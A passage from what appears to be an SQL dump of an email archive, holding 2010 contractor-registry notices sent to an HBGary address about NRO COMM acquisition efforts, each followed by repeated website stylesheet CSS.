}\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11780,'aaron_hbgary_com/11780.html'),(10268,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007990.M121942P14101Q5123.eml','federal@hbgary.com','COMM / Excursion Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Excursion effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16207,'aaron_hbgary_com/16207.html'),(10269,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007990.M325747P14101Q5124.eml','federal@hbgary.com','COMM / Roubaix Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Roubaix effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1567,'aaron_hbgary_com/1567.html'),(10270,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007990.M520992P14101Q5125.eml','federal@hbgary.com','COMM / Roubaix Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Roubaix effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; 